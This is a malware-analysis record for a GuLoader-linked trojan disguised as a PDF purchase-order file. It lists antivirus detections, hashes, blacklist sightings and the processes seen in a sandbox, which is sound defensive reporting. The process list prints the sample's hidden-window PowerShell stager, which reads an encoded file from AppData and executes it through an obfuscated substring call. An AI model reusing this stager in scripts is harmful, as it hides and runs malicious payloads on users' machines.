Requirement Against PO. No. 242313609.pdf.exe

Classification: Malicious

Requirement Against PO. No. 242313609.pdf.exe is a trojan (Windows executable, 593.8 KB). Detected by 64 antivirus engines.

Detection summary

  • 64 antivirus detections
  • 0 IDS alerts
  • 5 processes observed
  • 0 contacted hosts
  • 0 DNS requests

MITRE ATT&CK associations

Malware families: GULOADER (S0561) ECIPEKAC (S0624)

Blacklist sightings

Description Source First seen Last seen Labels MITRE ATT&CK
Generic Malware Hybrid-Analysis 2024-07-18 17:15:04 2026-08-18 03:45:04 malicious-activity
SigLoader ThreatFox Abuse.ch 2024-07-18 17:57:46 2024-07-20 17:20:14 S0624 Ecipekac
GuLoader MalwareBazaar Abuse.ch 2024-07-18 16:53:59 2024-07-18 16:53:59 malicious-activity S0561 GuLoader

Tags

evasive win.sigloader

Sample information

Filenames
213681de7f4ab18c2338f5aa57c7aae1d2082f369fa557167b11e5b5ec2b69db, Requirement Against PO. No. 242313609.pdf.exe
File type
PE32 executable (GUI) Intel 80386, for MS Windows, ...
Size
608077 bytes
MD5
9999bcd39eee549e78863b34f5546f2b
SHA-1
1003fcedabed4aecaaebb63cd171acf92c1fce78
SHA-256
213681de7f4ab18c2338f5aa57c7aae1d2082f369fa557167b11e5b5ec2b69db
First indexed
2024-07-18 16:53:50
Last updated
2026-09-21 00:24:29

Antivirus detections

EngineDetection
APEXMalicious
AVGWin32:Evo-gen [Trj]
AlibabaTrojan:Win32/Makoob.6216dbb6
Antiy-AVLTrojan/Win32.Makoob.gen
AvastWin32:Evo-gen [Trj]
AviraTR/Injector.wjcnc
BkavW32.AIDetectMalware
CrowdStrikewin/malicious_confidence_100% (W)
CylanceUnsafe
CynetMalicious (score: 100)
DeepInstinctMALICIOUS
ESET-NOD32NSIS/Injector.CUJ
Elasticmalicious (high confidence)
FortinetNSIS/Injector.P582!tr
GDataWin32.Trojan.PSE.1MYNCF8
GoogleDetected
GridinsoftTrojan.Win32.Downloader.sa
IkarusTrojan.NSIS.Injector
KasperskyHEUR:Trojan.Win32.Makoob.gen
Kingsoftmalware.kb.a.728
LionicTrojan.Win32.Makoob.4!c
MalwarebytesTrojan.Injector.NSIS
McAfeeArtemis!9999BCD39EEE
McAfeeDti!213681DE7F4A
MicrosoftTrojan:Win32/Caynamer.A!ml
Paloaltogeneric.ml
SangforTrojan.Win32.Injector.Vqeg
SkyhighBehavesLike.Win32.Downloader.hc
SophosMal/Generic-S
SymantecML.Attribute.HighConfidence
TrendMicroTrojanSpy.Win32.REDLINE.YXEGRZ
TrendMicro-HouseCallTrojanSpy.Win32.REDLINE.YXEGRZ
VaristW32/Agent.JDG.gen!Eldorado
ZoneAlarmHEUR:Trojan.Win32.Makoob.gen
alibabacloudTrojan:Win/Makoob.gyf
ALYacTrojan.Generic.36568904
AhnLab-V3Downloader/Win.GuLoader.C5651097
BitDefenderTrojan.Generic.36568904
CAT-QuickHealTrojan.Makoob
ESET-NOD32multiple detections
EmsisoftTrojan.Generic.36568904 (B)
F-SecureTrojan.TR/Injector.wjcnc
FireEyeTrojan.Generic.36568904
FortinetNSIS/Injector.CUZ!tr
K7AntiVirusTrojan ( 005b80581 )
K7GWTrojan ( 005b80581 )
KingsoftWin32.Trojan.Makoob.gen
MAXmalware (ai score=89)
MicroWorld-eScanTrojan.Generic.36568904
MicrosoftTrojan:Win32/GuLoader.KFDL
PandaTrj/Chgt.AD
SangforTrojan.Win32.Makoob.Vjr2
SkyhighBehavesLike.Win32.Generic.hc
SymantecTrojan Horse
TencentWin32.Trojan.Makoob.Dtgl
VBA32Trojan.GuLoader
VIPRETrojan.Generic.36568904
ViRobotTrojan.Win.Z.Makoob.608077
VirITTrojan.Win32.NSISDrp.GZM
WebrootW32.Malware.Gen
XcitiumMalware@#glwbnep8fe48
YandexTrojan.Igent.b2Exre.5
ZillyaTrojan.Makoob.Win32.3802
huorongTrojan/Injector.btj

Process list

NameCommand line
RequirementAgainstPO.No.242313609.pdf.exe
powershell.exe-windowstyle hidden "$Footscald=Get-Content '%APPDATA%\Watertown136\Brevskolen141\Receptiv147\Svbelsesbrnene.Cre';$Mythicality=$Footscald.SubString(27065,3);.$Mythicality($Footscald)"
RequirementAgainstPO.No.242313609.pdf.exe
powershell.exe-windowstyle hidden "$Footscald=Get-Content '%APPDATA%\Watertown136\Brevskolen141\Receptiv147\Svbelsesbrnene.Cre';$Mythicality=$Footscald.SubString(27065,3);.$Mythicality($Footscald)"
ImagingDevices.exe